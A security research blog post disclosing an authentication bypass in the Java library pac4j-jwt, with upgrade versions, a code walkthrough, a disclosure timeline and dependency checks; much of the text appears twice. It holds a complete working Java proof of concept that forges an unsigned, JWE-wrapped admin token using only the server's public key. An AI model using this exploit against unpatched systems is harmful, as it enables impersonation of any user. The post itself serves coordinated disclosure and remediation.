CodeAnt AI Security Research

Mar 3, 2026

How We Found a Critical Authentication Bypass in pac4j-jwt - Using Only a Public Key

Amartya | CodeAnt AI Code Review Platform
Amartya Jha

CEO, CodeAnt AI

pac4j security advisory crediting CodeAnt AI Security Research Team

What if the key you're supposed to share with the world is the only thing an attacker needs to impersonate any user on your system - including admin?

That's what we found in pac4j-jwt, a widely used Java authentication library.

We assessed the vulnerability as Critical. A complete authentication bypass. An attacker with nothing more than your server's RSA public key - the key that's designed to be public - can forge a JWT token with arbitrary claims and authenticate as any user, with any role, without knowing a single secret.

The patch is now live. The maintainer, Jérôme Leleu, confirmed, patched, and published a security advisory crediting our research. If you use pac4j-jwt, stop reading and update:

  • 4.x line: upgrade to 4.5.9 or newer

  • 5.x line: upgrade to 5.7.9 or newer

  • 6.x line: upgrade to 6.3.3 or newer

Now, here's how we found it - and how it works.

Where This Started

We've been running an internal research project at CodeAnt AI. The premise is simple: when a CVE is patched in a popular open-source package, does the patch actually fix the vulnerability? Not whether the patch exists. Not whether the version number was bumped. Whether the code change actually addresses the problem.

We started by looking at packages with prior CVEs and reading the patch diffs. Not scanning. Not running tools. Reading the code and asking: if I were an attacker, how would I get around this fix?

pac4j-jwt caught our attention because JWT authentication is one of those areas where the spec is complex, the implementation surface is large, and small mistakes in how token types are handled can have massive consequences. We pulled up the source code and started reading.

How JWT Authentication Is Supposed to Work

Before we get to what we found, let's walk through how pac4j-jwt is supposed to handle tokens. Understanding the intended flow makes the bypass obvious.

Most production pac4j deployments use two layers of protection:

Layer 1 - Encryption (JWE). The JWT is encrypted using the server's RSA public key. This ensures the token's contents can't be read in transit. Only the server, which holds the private key, can decrypt it.

Layer 2 - Signature (JWS). Inside the encrypted wrapper, the JWT is signed. This ensures the token was created by someone who holds the signing key. The server verifies this signature after decryption.

The flow looks like this:

Client sends token
    Server decrypts JWE (Layer 1 - confidentiality)
    Server verifies JWS signature (Layer 2 - authenticity)
    Server reads claims and authenticates user
Client sends token
    Server decrypts JWE (Layer 1 - confidentiality)
    Server verifies JWS signature (Layer 2 - authenticity)
    Server reads claims and authenticates user

Both layers must pass. Encryption alone doesn't prove who created the token - it just proves the contents are private. Signature verification is what proves the token is legitimate.

This is critical: encryption and signature serve different security properties. Encryption protects confidentiality. Signatures protect integrity and authenticity. You need both.

What We Found: Signature Verification That Silently Disappears

We were reading through JwtAuthenticator.java, tracing the token validation flow line by line, when something stopped us.

Here's what the code does when it receives a JWE token, simplified for readability:

// Step 1: Decrypt the JWE
for (EncryptionConfiguration config : encryptionConfigurations) {
    try {
        encryptedJWT.decrypt(config);

        // Step 2: Try to extract the inner signed JWT
        signedJWT = encryptedJWT.getPayload().toSignedJWT();

        if (signedJWT != null) {
            jwt = signedJWT;
        }

        found = true;
        break;
    } catch (JOSEException e) { ... }
}

// Step 3: Verify signature - BUT ONLY IF signedJWT IS NOT NULL
if (signedJWT != null) {
    for (SignatureConfiguration config : signatureConfigurations) {
        if (config.supports(signedJWT)) {
            verify = config.verify(signedJWT);
            // ...
        }
    }
}

// Step 4: Create authenticated profile from token claims
createJwtProfile(ctx, credentials, jwt);
// Step 1: Decrypt the JWE
for (EncryptionConfiguration config : encryptionConfigurations) {
    try {
        encryptedJWT.decrypt(config);

        // Step 2: Try to extract the inner signed JWT
        signedJWT = encryptedJWT.getPayload().toSignedJWT();

        if (signedJWT != null) {
            jwt = signedJWT;
        }

        found = true;
        break;
    } catch (JOSEException e) { ... }
}

// Step 3: Verify signature - BUT ONLY IF signedJWT IS NOT NULL
if (signedJWT != null) {
    for (SignatureConfiguration config : signatureConfigurations) {
        if (config.supports(signedJWT)) {
            verify = config.verify(signedJWT);
            // ...
        }
    }
}

// Step 4: Create authenticated profile from token claims
createJwtProfile(ctx, credentials, jwt);

We read that twice. Then a third time.

toSignedJWT() is a method from the Nimbus JOSE+JWT library. It tries to parse the decrypted payload as a signed JWT (JWS). If the payload is a signed JWT, it returns the parsed object. If it's not - if it's a PlainJWT, which is an unsigned token - it returns null.

Now look at what happens when signedJWT is null:

  1. The if (signedJWT != null) { jwt = signedJWT; } block is skipped. The jwt variable retains its earlier value - which was set from the raw token parse.

  2. The entire signature verification block if (signedJWT != null) { ... } is skipped. No signature check happens at all.

  3. createJwtProfile() is called anyway. The claims from the unverified token are accepted as authenticated.

The gate that's supposed to protect your entire authentication system is a null check on the wrong variable. If an attacker can make toSignedJWT() return null, signature verification ceases to exist.

The moment we saw that, we knew we had something. The question was: can an attacker actually control what type of JWT is inside the encrypted wrapper?

The answer took about ten minutes to verify.

Building the Exploit

Making toSignedJWT() return null is trivial. You just... don't sign the token.

Here's how we built the proof of concept, step by step.

Step 1: Obtain the Server's RSA Public Key

In RSA-JWE deployments, the server's RSA public key is used to encrypt tokens. Public keys are, by definition, public. They're typically available via:

  • A JWKS (JSON Web Key Set) endpoint - many frameworks expose this at /.well-known/jwks.json

  • The application's documentation or configuration files

  • TLS certificate inspection

  • Public code repositories where the key is checked in

If your deployment uses RSA-based JWE, the attacker almost certainly has your public key already. That's fine - that's how RSA encryption is designed to work. The public key lets you encrypt. Only the private key can decrypt.

The problem is that pac4j uses this same public key for JWE decryption, and the authentication bypass only requires the encryption side.

Step 2: Craft Malicious Claims

The attacker creates whatever JWT claims they want. Any subject. Any roles. Any permissions.

JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
    .subject("admin")
    .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
    .claim("email", "attacker@evil.com")
    .expirationTime(new Date(System.currentTimeMillis() + 3_600_000))
    .build();
JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
    .subject("admin")
    .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
    .claim("email", "attacker@evil.com")
    .expirationTime(new Date(System.currentTimeMillis() + 3_600_000))
    .build();

Step 3: Create an Unsigned PlainJWT

This is the key move. Instead of creating a signed JWT (JWS), the attacker creates a PlainJWT. This is a perfectly valid JWT per the spec - it just has no signature.

PlainJWT innerJwt = new PlainJWT(maliciousClaims);
PlainJWT innerJwt = new PlainJWT(maliciousClaims);

The JWT specification defines three types of tokens - JWS (signed), JWE (encrypted), and PlainJWT (unsigned). PlainJWT is a real thing. Libraries support it. And when Nimbus's toSignedJWT() encounters one, it returns null - because it's not signed.

Step 4: Wrap in JWE Using the Public Key

The attacker wraps the unsigned PlainJWT inside a JWE, encrypted with the server's RSA public key:

JWEObject jweObject = new JWEObject(
    new JWEHeader.Builder(JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
        .contentType("JWT")
        .build(),
    new Payload(innerJwt.serialize())
);
jweObject.encrypt(new RSAEncrypter(publicKey));

String maliciousToken = jweObject.serialize();
JWEObject jweObject = new JWEObject(
    new JWEHeader.Builder(JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
        .contentType("JWT")
        .build(),
    new Payload(innerJwt.serialize())
);
jweObject.encrypt(new RSAEncrypter(publicKey));

String maliciousToken = jweObject.serialize();

From the outside, this token looks like any other JWE token. It's properly encrypted. It will decrypt successfully on the server. The server has no way to distinguish it from a legitimate token until after decryption - and by then, the bug has already triggered.

Step 5: Submit and Authenticate as Anyone

The attacker sends the token as a Bearer token:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIi
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIi

On the server:

  1. JWE decryption succeeds (the token was encrypted with the correct public key) ✅

  2. toSignedJWT() returns null (the inner payload is PlainJWT, not JWS)

  3. if (signedJWT != null) is false - signature verification is skipped entirely

  4. createJwtProfile() is called with the attacker's arbitrary claims

  5. The attacker is authenticated as admin with ROLE_ADMIN and ROLE_SUPERUSER

No private key. No shared secret. No brute force. Just the public key that was designed to be public.

We ran the PoC. It worked on the first try.

The Full Proof of Concept

Here's the complete, working PoC. This runs against a real pac4j-jwt 6.0.3 configuration:

import com.nimbusds.jose.*;
import com.nimbusds.jose.crypto.*;
import com.nimbusds.jwt.*;
import org.pac4j.jwt.config.encryption.RSAEncryptionConfiguration;
import org.pac4j.jwt.config.signature.RSASignatureConfiguration;
import org.pac4j.jwt.credentials.authenticator.JwtAuthenticator;
import org.pac4j.core.credentials.TokenCredentials;
import org.pac4j.core.context.MockWebContext;
import org.pac4j.core.context.session.MockSessionStore;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.interfaces.RSAPublicKey;
import java.util.Date;
import java.util.List;

public class Poc {
    public static void main(String[] args) throws Exception {
        // === SERVER SETUP (legitimate pac4j configuration) ===
        KeyPairGenerator gen = KeyPairGenerator.getInstance("RSA");
        gen.initialize(2048);
        KeyPair serverKeyPair = gen.generateKeyPair();

        JwtAuthenticator auth = new JwtAuthenticator();
        auth.addEncryptionConfiguration(
            new RSAEncryptionConfiguration(serverKeyPair));
        auth.addSignatureConfiguration(
            new RSASignatureConfiguration(serverKeyPair));

        // === ATTACKER SIDE ===
        // Only has the RSA public key
        RSAPublicKey publicKey = (RSAPublicKey) serverKeyPair.getPublic();

        // Step 1: Craft malicious claims
        JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
            .subject("admin#override")
            .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
            .claim("email", "attacker@evil.com")
            .expirationTime(
                new Date(System.currentTimeMillis() + 3_600_000))
            .build();

        // Step 2: Create UNSIGNED PlainJWT
        PlainJWT innerJwt = new PlainJWT(maliciousClaims);

        // Step 3: Wrap as JWE using only the public key
        JWEObject jweObject = new JWEObject(
            new JWEHeader.Builder(
                JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
                .contentType("JWT")
                .build(),
            new Payload(innerJwt.serialize())
        );
        jweObject.encrypt(new RSAEncrypter(publicKey));
        String maliciousToken = jweObject.serialize();

        System.out.println("[ATTACKER] Token crafted using only public key");
        System.out.println("[ATTACKER] " +
            maliciousToken.substring(0, 80) + "...");

        // Step 4: Submit to server
        TokenCredentials credentials =
            new TokenCredentials(maliciousToken);
        auth.validate(credentials,
            MockWebContext.create(), new MockSessionStore());

        // Step 5: Verify bypass
        System.out.println("[BYPASS] Authenticated as: " +
            credentials.getUserProfile().getId());
        System.out.println("[BYPASS] Roles: " +
            credentials.getUserProfile().getRoles());
    }
}
import com.nimbusds.jose.*;
import com.nimbusds.jose.crypto.*;
import com.nimbusds.jwt.*;
import org.pac4j.jwt.config.encryption.RSAEncryptionConfiguration;
import org.pac4j.jwt.config.signature.RSASignatureConfiguration;
import org.pac4j.jwt.credentials.authenticator.JwtAuthenticator;
import org.pac4j.core.credentials.TokenCredentials;
import org.pac4j.core.context.MockWebContext;
import org.pac4j.core.context.session.MockSessionStore;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.interfaces.RSAPublicKey;
import java.util.Date;
import java.util.List;

public class Poc {
    public static void main(String[] args) throws Exception {
        // === SERVER SETUP (legitimate pac4j configuration) ===
        KeyPairGenerator gen = KeyPairGenerator.getInstance("RSA");
        gen.initialize(2048);
        KeyPair serverKeyPair = gen.generateKeyPair();

        JwtAuthenticator auth = new JwtAuthenticator();
        auth.addEncryptionConfiguration(
            new RSAEncryptionConfiguration(serverKeyPair));
        auth.addSignatureConfiguration(
            new RSASignatureConfiguration(serverKeyPair));

        // === ATTACKER SIDE ===
        // Only has the RSA public key
        RSAPublicKey publicKey = (RSAPublicKey) serverKeyPair.getPublic();

        // Step 1: Craft malicious claims
        JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
            .subject("admin#override")
            .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
            .claim("email", "attacker@evil.com")
            .expirationTime(
                new Date(System.currentTimeMillis() + 3_600_000))
            .build();

        // Step 2: Create UNSIGNED PlainJWT
        PlainJWT innerJwt = new PlainJWT(maliciousClaims);

        // Step 3: Wrap as JWE using only the public key
        JWEObject jweObject = new JWEObject(
            new JWEHeader.Builder(
                JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
                .contentType("JWT")
                .build(),
            new Payload(innerJwt.serialize())
        );
        jweObject.encrypt(new RSAEncrypter(publicKey));
        String maliciousToken = jweObject.serialize();

        System.out.println("[ATTACKER] Token crafted using only public key");
        System.out.println("[ATTACKER] " +
            maliciousToken.substring(0, 80) + "...");

        // Step 4: Submit to server
        TokenCredentials credentials =
            new TokenCredentials(maliciousToken);
        auth.validate(credentials,
            MockWebContext.create(), new MockSessionStore());

        // Step 5: Verify bypass
        System.out.println("[BYPASS] Authenticated as: " +
            credentials.getUserProfile().getId());
        System.out.println("[BYPASS] Roles: " +
            credentials.getUserProfile().getRoles());
    }
}

Output:

[ATTACKER] Token crafted using only public key
[ATTACKER] eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIiwiY3R5Ijoi...
[BYPASS] Authenticated as: admin#override
[BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
[ATTACKER] Token crafted using only public key
[ATTACKER] eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIiwiY3R5Ijoi...
[BYPASS] Authenticated as: admin#override
[BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

Authenticated as admin. With superuser privileges. Using nothing but a public key.

Why This Matters Beyond pac4j

This vulnerability is a specific instance of a pattern we're seeing across the open-source ecosystem.

The JWE-PlainJWT bypass exists because the code was written to handle the expected flow: encrypted token in, signed token inside, verify signature, authenticate. The happy path works perfectly. What it doesn't handle is the path the attacker takes.

An attacker doesn't send what you expect. They send what the spec allows.

The JWT specification defines PlainJWT as a valid token type. The Nimbus library correctly returns null for non-JWS payloads. The pac4j code correctly checks if (signedJWT != null). Every piece of code is individually correct. The vulnerability is in the composition - in the assumption that if decryption succeeds, the inner payload will be a signed JWT. That assumption is never enforced.

This is not a pac4j-specific problem. It's a pattern. Code that handles the expected input but not the spec-allowed input shows up everywhere - in regex-based security filters, in path traversal protections, in deserialization guards. The fix addresses the reported attack vector. But nobody steps back and asks: what else does this code path allow?

We've been asking that question across npm, PyPI, Maven, and NuGet. This was one of the findings. The rest are coming soon.

The Disclosure: Two Days from Report to Patch

We sent the private disclosure to Jérôme Leleu on February 28. Full technical details, PoC, suggested fix - everything you've read in this post.

His response came the next day:

"OK. You're right. There is a critical security issue here. I will publish security patches for several pac4j versions. I will also publish a blog post. Do you want to take credit for the vulnerability?"

No denial. No weeks of back-and-forth. No "we'll look into it." He read the report, confirmed the issue, and immediately started working on patches across three major version lines.

By March 2, patches were shipped for 4.x, 5.x, and 6.x. The security advisory was live on pac4j.org. And then this landed in our inbox:

"Now you're famous" - with a link to the published advisory crediting our team.

Two business days. Report to patch to public advisory.

We're a small team. When we sent that disclosure, we didn't know if we'd get a response in two days or two months. Jérôme's response reminded us why we love working with the open-source community.

A Note on Open Source Maintainers

This needs to be said more often: open-source maintainers are doing extraordinary work, and they rarely get the credit they deserve.

Jérôme maintains pac4j largely on his own. When a small research team he'd never heard of emailed him a critical auth bypass, he treated it with urgency, professionalism, and generosity. Enterprise vendors with dedicated security teams and million-dollar budgets routinely take weeks or months to acknowledge a report, let alone ship a fix. Jérôme did it in two days - across three major version lines.

Open-source maintainers carry the weight of the modern software supply chain. They deserve more than our bug reports. They deserve our respect, our gratitude, and our support. If your company depends on pac4j - or any open-source project - consider sponsoring the maintainer. These are the people standing between your production systems and the next critical vulnerability, and most of them are doing it for free.

Jérôme, thank you. The security community is better because of maintainers like you.

Timeline

Date

Event

February 28, 2026

Vulnerability discovered and PoC verified by CodeAnt AI Security Research

February 28, 2026

Private disclosure sent to Jérôme Leleu (pac4j maintainer)

March 2, 2026

Maintainer confirmed, patches shipped for 4.x, 5.x, 6.x

March 3, 2026

Security advisory published by pac4j, crediting CodeAnt AI Security Research

March 3, 2026

This writeup published

Are You Affected?

Step 1: Check if you depend on pac4j-jwt

Maven:

mvn -q dependency:tree -Dincludes
mvn -q dependency:tree -Dincludes

Gradle:

./gradlew -q dependencies --configuration runtimeClasspath | grep -i "pac4j-jwt"
./gradlew -q dependencies --configuration runtimeClasspath | grep -i "pac4j-jwt"

If you use Gradle Version Catalog or lockfiles:

grep -R "pac4j-jwt" -n
grep -R "pac4j-jwt" -n

If you see org.pac4j:pac4j-jwt:6.0.3 (or anything below 6.3.3), you need to update. Same for 5.x below 5.7.9, or 4.x below 4.5.9.

Step 2: Check if you're using the vulnerable flow

You're affected if all of these are true:

  • You use JWE (encrypted JWTs), not just JWS

  • Encryption is RSA-based (e.g., RSAEncryptionConfiguration)

  • You configure both EncryptionConfiguration and SignatureConfiguration

  • You authenticate using JwtAuthenticator

Quick grep to check your codebase:

grep -rn -E "JwtAuthenticator|EncryptionConfiguration|SignatureConfiguration|RSAEncryptionConfiguration|RSASignatureConfiguration"
grep -rn -E "JwtAuthenticator|EncryptionConfiguration|SignatureConfiguration|RSAEncryptionConfiguration|RSASignatureConfiguration"

If that returns hits, read the results. If you see both an encryption config and a signature config being added to a JwtAuthenticator, you are running the vulnerable flow.

Step 3: Quick version check

See if you are affected

Enter your org.pac4j:pac4j-jwt version. You can find it in your pom.xml, build.gradle, or by running mvn dependency:tree.

Step 4: Update

  • 4.x → 4.5.9+

  • 5.x → 5.7.9+

  • 6.x → 6.3.3+

This research is part of an ongoing effort by CodeAnt AI Security Research to audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability. We believe the open-source ecosystem deserves better tools, better auditing, and more support for the maintainers who keep it running. More findings will be published as patches ship and coordinated disclosure timelines are met.

If you are a maintainer and have been contacted by our team - thank you for your work. If you believe your package may be affected by a similar pattern, we'd love to help: securityresearch@codeant.ai

pac4j security advisory crediting CodeAnt AI Security Research Team

What if the key you're supposed to share with the world is the only thing an attacker needs to impersonate any user on your system - including admin?

That's what we found in pac4j-jwt, a widely used Java authentication library.

We assessed the vulnerability as Critical. A complete authentication bypass. An attacker with nothing more than your server's RSA public key - the key that's designed to be public - can forge a JWT token with arbitrary claims and authenticate as any user, with any role, without knowing a single secret.

The patch is now live. The maintainer, Jérôme Leleu, confirmed, patched, and published a security advisory crediting our research. If you use pac4j-jwt, stop reading and update:

  • 4.x line: upgrade to 4.5.9 or newer

  • 5.x line: upgrade to 5.7.9 or newer

  • 6.x line: upgrade to 6.3.3 or newer

Now, here's how we found it - and how it works.

Where This Started

We've been running an internal research project at CodeAnt AI. The premise is simple: when a CVE is patched in a popular open-source package, does the patch actually fix the vulnerability? Not whether the patch exists. Not whether the version number was bumped. Whether the code change actually addresses the problem.

We started by looking at packages with prior CVEs and reading the patch diffs. Not scanning. Not running tools. Reading the code and asking: if I were an attacker, how would I get around this fix?

pac4j-jwt caught our attention because JWT authentication is one of those areas where the spec is complex, the implementation surface is large, and small mistakes in how token types are handled can have massive consequences. We pulled up the source code and started reading.

How JWT Authentication Is Supposed to Work

Before we get to what we found, let's walk through how pac4j-jwt is supposed to handle tokens. Understanding the intended flow makes the bypass obvious.

Most production pac4j deployments use two layers of protection:

Layer 1 - Encryption (JWE). The JWT is encrypted using the server's RSA public key. This ensures the token's contents can't be read in transit. Only the server, which holds the private key, can decrypt it.

Layer 2 - Signature (JWS). Inside the encrypted wrapper, the JWT is signed. This ensures the token was created by someone who holds the signing key. The server verifies this signature after decryption.

The flow looks like this:

Client sends token
    Server decrypts JWE (Layer 1 - confidentiality)
    Server verifies JWS signature (Layer 2 - authenticity)
    Server reads claims and authenticates user

Both layers must pass. Encryption alone doesn't prove who created the token - it just proves the contents are private. Signature verification is what proves the token is legitimate.

This is critical: encryption and signature serve different security properties. Encryption protects confidentiality. Signatures protect integrity and authenticity. You need both.

What We Found: Signature Verification That Silently Disappears

We were reading through JwtAuthenticator.java, tracing the token validation flow line by line, when something stopped us.

Here's what the code does when it receives a JWE token, simplified for readability:

// Step 1: Decrypt the JWE
for (EncryptionConfiguration config : encryptionConfigurations) {
    try {
        encryptedJWT.decrypt(config);

        // Step 2: Try to extract the inner signed JWT
        signedJWT = encryptedJWT.getPayload().toSignedJWT();

        if (signedJWT != null) {
            jwt = signedJWT;
        }

        found = true;
        break;
    } catch (JOSEException e) { ... }
}

// Step 3: Verify signature - BUT ONLY IF signedJWT IS NOT NULL
if (signedJWT != null) {
    for (SignatureConfiguration config : signatureConfigurations) {
        if (config.supports(signedJWT)) {
            verify = config.verify(signedJWT);
            // ...
        }
    }
}

// Step 4: Create authenticated profile from token claims
createJwtProfile(ctx, credentials, jwt);

We read that twice. Then a third time.

toSignedJWT() is a method from the Nimbus JOSE+JWT library. It tries to parse the decrypted payload as a signed JWT (JWS). If the payload is a signed JWT, it returns the parsed object. If it's not - if it's a PlainJWT, which is an unsigned token - it returns null.

Now look at what happens when signedJWT is null:

  1. The if (signedJWT != null) { jwt = signedJWT; } block is skipped. The jwt variable retains its earlier value - which was set from the raw token parse.

  2. The entire signature verification block if (signedJWT != null) { ... } is skipped. No signature check happens at all.

  3. createJwtProfile() is called anyway. The claims from the unverified token are accepted as authenticated.

The gate that's supposed to protect your entire authentication system is a null check on the wrong variable. If an attacker can make toSignedJWT() return null, signature verification ceases to exist.

The moment we saw that, we knew we had something. The question was: can an attacker actually control what type of JWT is inside the encrypted wrapper?

The answer took about ten minutes to verify.

Building the Exploit

Making toSignedJWT() return null is trivial. You just... don't sign the token.

Here's how we built the proof of concept, step by step.

Step 1: Obtain the Server's RSA Public Key

In RSA-JWE deployments, the server's RSA public key is used to encrypt tokens. Public keys are, by definition, public. They're typically available via:

  • A JWKS (JSON Web Key Set) endpoint - many frameworks expose this at /.well-known/jwks.json

  • The application's documentation or configuration files

  • TLS certificate inspection

  • Public code repositories where the key is checked in

If your deployment uses RSA-based JWE, the attacker almost certainly has your public key already. That's fine - that's how RSA encryption is designed to work. The public key lets you encrypt. Only the private key can decrypt.

The problem is that pac4j uses this same public key for JWE decryption, and the authentication bypass only requires the encryption side.

Step 2: Craft Malicious Claims

The attacker creates whatever JWT claims they want. Any subject. Any roles. Any permissions.

JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
    .subject("admin")
    .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
    .claim("email", "attacker@evil.com")
    .expirationTime(new Date(System.currentTimeMillis() + 3_600_000))
    .build();

Step 3: Create an Unsigned PlainJWT

This is the key move. Instead of creating a signed JWT (JWS), the attacker creates a PlainJWT. This is a perfectly valid JWT per the spec - it just has no signature.

PlainJWT innerJwt = new PlainJWT(maliciousClaims);

The JWT specification defines three types of tokens - JWS (signed), JWE (encrypted), and PlainJWT (unsigned). PlainJWT is a real thing. Libraries support it. And when Nimbus's toSignedJWT() encounters one, it returns null - because it's not signed.

Step 4: Wrap in JWE Using the Public Key

The attacker wraps the unsigned PlainJWT inside a JWE, encrypted with the server's RSA public key:

JWEObject jweObject = new JWEObject(
    new JWEHeader.Builder(JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
        .contentType("JWT")
        .build(),
    new Payload(innerJwt.serialize())
);
jweObject.encrypt(new RSAEncrypter(publicKey));

String maliciousToken = jweObject.serialize();

From the outside, this token looks like any other JWE token. It's properly encrypted. It will decrypt successfully on the server. The server has no way to distinguish it from a legitimate token until after decryption - and by then, the bug has already triggered.

Step 5: Submit and Authenticate as Anyone

The attacker sends the token as a Bearer token:

Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIi

On the server:

  1. JWE decryption succeeds (the token was encrypted with the correct public key) ✅

  2. toSignedJWT() returns null (the inner payload is PlainJWT, not JWS)

  3. if (signedJWT != null) is false - signature verification is skipped entirely

  4. createJwtProfile() is called with the attacker's arbitrary claims

  5. The attacker is authenticated as admin with ROLE_ADMIN and ROLE_SUPERUSER

No private key. No shared secret. No brute force. Just the public key that was designed to be public.

We ran the PoC. It worked on the first try.

The Full Proof of Concept

Here's the complete, working PoC. This runs against a real pac4j-jwt 6.0.3 configuration:

import com.nimbusds.jose.*;
import com.nimbusds.jose.crypto.*;
import com.nimbusds.jwt.*;
import org.pac4j.jwt.config.encryption.RSAEncryptionConfiguration;
import org.pac4j.jwt.config.signature.RSASignatureConfiguration;
import org.pac4j.jwt.credentials.authenticator.JwtAuthenticator;
import org.pac4j.core.credentials.TokenCredentials;
import org.pac4j.core.context.MockWebContext;
import org.pac4j.core.context.session.MockSessionStore;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.interfaces.RSAPublicKey;
import java.util.Date;
import java.util.List;

public class Poc {
    public static void main(String[] args) throws Exception {
        // === SERVER SETUP (legitimate pac4j configuration) ===
        KeyPairGenerator gen = KeyPairGenerator.getInstance("RSA");
        gen.initialize(2048);
        KeyPair serverKeyPair = gen.generateKeyPair();

        JwtAuthenticator auth = new JwtAuthenticator();
        auth.addEncryptionConfiguration(
            new RSAEncryptionConfiguration(serverKeyPair));
        auth.addSignatureConfiguration(
            new RSASignatureConfiguration(serverKeyPair));

        // === ATTACKER SIDE ===
        // Only has the RSA public key
        RSAPublicKey publicKey = (RSAPublicKey) serverKeyPair.getPublic();

        // Step 1: Craft malicious claims
        JWTClaimsSet maliciousClaims = new JWTClaimsSet.Builder()
            .subject("admin#override")
            .claim("$int_roles", List.of("ROLE_ADMIN", "ROLE_SUPERUSER"))
            .claim("email", "attacker@evil.com")
            .expirationTime(
                new Date(System.currentTimeMillis() + 3_600_000))
            .build();

        // Step 2: Create UNSIGNED PlainJWT
        PlainJWT innerJwt = new PlainJWT(maliciousClaims);

        // Step 3: Wrap as JWE using only the public key
        JWEObject jweObject = new JWEObject(
            new JWEHeader.Builder(
                JWEAlgorithm.RSA_OAEP_256, EncryptionMethod.A256GCM)
                .contentType("JWT")
                .build(),
            new Payload(innerJwt.serialize())
        );
        jweObject.encrypt(new RSAEncrypter(publicKey));
        String maliciousToken = jweObject.serialize();

        System.out.println("[ATTACKER] Token crafted using only public key");
        System.out.println("[ATTACKER] " +
            maliciousToken.substring(0, 80) + "...");

        // Step 4: Submit to server
        TokenCredentials credentials =
            new TokenCredentials(maliciousToken);
        auth.validate(credentials,
            MockWebContext.create(), new MockSessionStore());

        // Step 5: Verify bypass
        System.out.println("[BYPASS] Authenticated as: " +
            credentials.getUserProfile().getId());
        System.out.println("[BYPASS] Roles: " +
            credentials.getUserProfile().getRoles());
    }
}

Output:

[ATTACKER] Token crafted using only public key
[ATTACKER] eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIiwiY3R5Ijoi...
[BYPASS] Authenticated as: admin#override
[BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

Authenticated as admin. With superuser privileges. Using nothing but a public key.

Why This Matters Beyond pac4j

This vulnerability is a specific instance of a pattern we're seeing across the open-source ecosystem.

The JWE-PlainJWT bypass exists because the code was written to handle the expected flow: encrypted token in, signed token inside, verify signature, authenticate. The happy path works perfectly. What it doesn't handle is the path the attacker takes.

An attacker doesn't send what you expect. They send what the spec allows.

The JWT specification defines PlainJWT as a valid token type. The Nimbus library correctly returns null for non-JWS payloads. The pac4j code correctly checks if (signedJWT != null). Every piece of code is individually correct. The vulnerability is in the composition - in the assumption that if decryption succeeds, the inner payload will be a signed JWT. That assumption is never enforced.

This is not a pac4j-specific problem. It's a pattern. Code that handles the expected input but not the spec-allowed input shows up everywhere - in regex-based security filters, in path traversal protections, in deserialization guards. The fix addresses the reported attack vector. But nobody steps back and asks: what else does this code path allow?

We've been asking that question across npm, PyPI, Maven, and NuGet. This was one of the findings. The rest are coming soon.

The Disclosure: Two Days from Report to Patch

We sent the private disclosure to Jérôme Leleu on February 28. Full technical details, PoC, suggested fix - everything you've read in this post.

His response came the next day:

"OK. You're right. There is a critical security issue here. I will publish security patches for several pac4j versions. I will also publish a blog post. Do you want to take credit for the vulnerability?"

No denial. No weeks of back-and-forth. No "we'll look into it." He read the report, confirmed the issue, and immediately started working on patches across three major version lines.

By March 2, patches were shipped for 4.x, 5.x, and 6.x. The security advisory was live on pac4j.org. And then this landed in our inbox:

"Now you're famous" - with a link to the published advisory crediting our team.

Two business days. Report to patch to public advisory.

We're a small team. When we sent that disclosure, we didn't know if we'd get a response in two days or two months. Jérôme's response reminded us why we love working with the open-source community.

A Note on Open Source Maintainers

This needs to be said more often: open-source maintainers are doing extraordinary work, and they rarely get the credit they deserve.

Jérôme maintains pac4j largely on his own. When a small research team he'd never heard of emailed him a critical auth bypass, he treated it with urgency, professionalism, and generosity. Enterprise vendors with dedicated security teams and million-dollar budgets routinely take weeks or months to acknowledge a report, let alone ship a fix. Jérôme did it in two days - across three major version lines.

Open-source maintainers carry the weight of the modern software supply chain. They deserve more than our bug reports. They deserve our respect, our gratitude, and our support. If your company depends on pac4j - or any open-source project - consider sponsoring the maintainer. These are the people standing between your production systems and the next critical vulnerability, and most of them are doing it for free.

Jérôme, thank you. The security community is better because of maintainers like you.

Timeline

Date

Event

February 28, 2026

Vulnerability discovered and PoC verified by CodeAnt AI Security Research

February 28, 2026

Private disclosure sent to Jérôme Leleu (pac4j maintainer)

March 2, 2026

Maintainer confirmed, patches shipped for 4.x, 5.x, 6.x

March 3, 2026

Security advisory published by pac4j, crediting CodeAnt AI Security Research

March 3, 2026

This writeup published

Are You Affected?

Step 1: Check if you depend on pac4j-jwt

Maven:

mvn -q dependency:tree -Dincludes

Gradle:

./gradlew -q dependencies --configuration runtimeClasspath | grep -i "pac4j-jwt"

If you use Gradle Version Catalog or lockfiles:

grep -R "pac4j-jwt" -n

